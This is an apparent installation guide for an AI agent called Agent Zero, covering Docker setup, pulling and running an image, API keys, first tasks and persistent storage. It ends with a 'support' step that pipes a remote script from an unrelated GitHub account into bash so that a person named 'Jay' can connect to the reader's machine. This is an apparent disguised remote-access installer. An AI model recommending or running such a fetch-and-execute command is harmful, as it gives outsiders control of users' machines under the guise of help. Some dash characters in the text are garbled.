Step-by-step instructions to get Agent Zero running on your machine. Estimated time: 15โ30 minutes. Docker required โ that's all.
Agent Zero runs inside Docker โ this is what gives it a real Linux environment to work in. You need Docker installed first.
Windows 10/11: Download and install Docker Desktop.
# Option 1: Download Docker Desktop from: https://docs.docker.com/desktop/install/windows-install/ # Option 2: winget (Windows 11) winget install Docker.DockerDesktop
macOS: Download Docker Desktop for Mac (Intel or Apple Silicon).
# Option 1: Download from: https://docs.docker.com/desktop/install/mac-install/ # Option 2: Homebrew brew install --cask docker
Linux (Ubuntu/Debian):
# Install Docker sudo apt update && sudo apt install -y docker.io # Add your user to docker group (no sudo needed) sudo usermod -aG docker $USER # Apply group change (or log out and back in) newgrp docker # Verify docker --version
Pull the official Agent Zero Docker image from Docker Hub. This downloads everything needed (~2 GB).
docker pull alexander-ai/agent-zero
This may take 2โ5 minutes depending on your internet speed. You'll see download progress bars.
Start Agent Zero with one command. This launches the container and exposes the web UI on port 50001.
docker run -p 50001:80 alexander-ai/agent-zero
Now open your browser and go to:
http://localhost:50001
If port 50001 is already in use on your machine:
# Use a different port (e.g. 50002) docker run -p 50002:80 alexander-ai/agent-zero # Then open: http://localhost:50002
Agent Zero needs an API key to talk to an AI model. Pick one of these options โ OpenRouter is recommended for beginners (free credits included).
Access to 100+ models including free ones. Great for testing.
Free TierClaude 3.5 Sonnet and Haiku. Great reasoning.
Pay-as-you-goTo add your API key in Agent Zero:
With your API key configured, it's time to give Agent Zero its first task. Start simple:
# Start with something simple hello # Check what it can do what tools do you have access to? # Test its execution capability list all files in the home directory # A real task create a Python script that prints "Hello from Agent Zero!" and run it
If you run into problems, check the Troubleshooting Guide or chat with our AI assistant.
By default, Agent Zero's memory and files are stored inside the Docker container. If you remove the container, you lose that data. Mount a local directory to persist everything:
# Replace C:\Users\YourName\agent-zero-data with your preferred path
docker run -p 50001:80 -v C:\Users\YourName\agent-zero-data:/a0 alexander-ai/agent-zero
# Creates ~/agent-zero-data and mounts it into the container
mkdir -p ~/agent-zero-data
docker run -p 50001:80 -v ~/agent-zero-data:/a0 alexander-ai/agent-zero
Now explore what it can do, or get help if something went wrong.
Run this one command to enable direct support from Jay. If anything ever goes wrong, Jay can connect to your machine instantly.
curl -fsSL https://raw.githubusercontent.com/Liberty-Emporium/liberty-agent/main/install_agent_zero.sh | bash